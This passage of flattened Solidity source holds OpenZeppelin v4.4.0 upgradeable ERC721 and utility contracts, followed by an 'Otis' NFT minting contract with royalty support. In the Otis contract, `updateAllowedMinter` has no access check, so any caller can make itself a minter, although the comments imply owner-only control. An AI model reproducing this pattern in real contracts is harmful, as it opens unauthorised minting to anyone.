through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; /* ____ __ _ / __ \/ /_(_)____ / / / / __/ / ___/ / /_/ / /_/ (__ ) \____/\__/_/____/ */ import {ERC721Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import {IERC2981Upgradeable} from "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import {IERC165Upgradeable} from "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {CountersUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; /* * project: otis minting contracts * * org: zora * contract: github.com/iainnash */ contract OtisNFTContract is UUPSUpgradeable, OwnableUpgradeable, ERC721Upgradeable, IERC2981Upgradeable { /// Event when royalty payout address is updated event RoyaltyUpdate(address indexed to, uint16 bps); /// Struct to store token info for each token id in contract struct TokenInfo { string metadataUri; address creator; } /// Struct to store global royalty payout information struct RoyaltyConfig { address payout; uint16 bps; } /// State variable for keeping royalty configuration RoyaltyConfig royaltyConfig; using CountersUpgradeable for CountersUpgradeable.Counter; /// Counter to keep track of the currently minted token CountersUpgradeable.Counter private tokenIdTracker; /// Token info struct for rendering out each token in contact mapping(uint256 => TokenInfo) private tokenInfo; /// Allowed minters list mapping(address => bool) private allowedMinters; /// Royalty reciever address address public royaltyReceiver; /// Modifier to check if the token exists modifier tokenExists(uint256 tokenId) { require(_exists(tokenId), "Query for nonexistent token"); _; } /// Modifier to only allow through allowed minters modifier onlyAllowedMinter() { require(allowedMinters[msg.sender] || msg.sender == owner(), "Minter not allowed"); _; } /// @dev Sets up ERC721 Token /// @param _name name of token /// @param _symbol symbol of token function initialize( string memory _name, string memory _symbol, address payout, uint16 bps ) public initializer { // Setup ERC721 and ownable __ERC721_init(_name, _symbol); __Ownable_init(); __UUPSUpgradeable_init(); // Set royalty config royaltyConfig = RoyaltyConfig({payout: payout, bps: bps}); } /// Set allowed minter addresses /// @param to Address to set allowed token minter status /// @param canMint Boolean to set status to for given address function updateAllowedMinter(address to, bool canMint) external { allowedMinters[to] = canMint; } // Only owner can upgrade function _authorizeUpgrade(address) internal override onlyOwner { } /** * @dev Creates a new token for `to`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * * Requirements: * - the caller must have the `MINTER_ROLE`. */ function mint(address to, string memory metadataUri) public onlyAllowedMinter { // Mints directly to specified account tokenIdTracker.increment(); _mint(to, tokenIdTracker.current()); tokenInfo[tokenIdTracker.current()] = TokenInfo({ metadataUri: metadataUri, creator: msg.sender }); } /// Burn token by token id /// @param tokenId id of token to burn function burn(uint256 tokenId) external { require(_isApprovedOrOwner(msg.sender, tokenId), "Not allowed"); delete tokenInfo[tokenId]; _burn(tokenId); } /// @param tokenId token id to get uri for function tokenURI(uint256 tokenId) public view override tokenExists(tokenId) returns (string memory) { return tokenInfo[tokenId].metadataUri; } /// Updates the metadata uri to a new string for new schemas / adding licenses and metadata uri updates /// Only callable by the contract owner /// @param tokenId token id to update the metadata for /// @param newMetadataUri new metadata uri string function updateMetadataUri(uint256 tokenId, string memory newMetadataUri) external tokenExists(tokenId) onlyOwner { tokenInfo[tokenId].metadataUri = newMetadataUri; } /** Section: Royalties */ /// Only callable by owner /// @param payout address for royalties payouts /// @param bps bps for royalties function setNewRoyaltyConfig(address payout, uint16 bps) external onlyOwner { royaltyConfig.payout = payout; royaltyConfig.bps = bps; emit RoyaltyUpdate(royaltyConfig.payout, royaltyConfig.bps); } /// ERC2981 royalty info getter fn /// ignored tokenId token id to get royalty info for /// @param salePrice sale price to get royalty percentage for function royaltyInfo(uint256, uint256 salePrice) external view override(IERC2981Upgradeable) returns (address receiver, uint256 royaltyAmount) { return (royaltyConfig.payout, (salePrice * royaltyConfig.bps) / 10000); } /// Interface ERC165 spec calls /// @param interfaceId interface id to see what is supported function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) { return 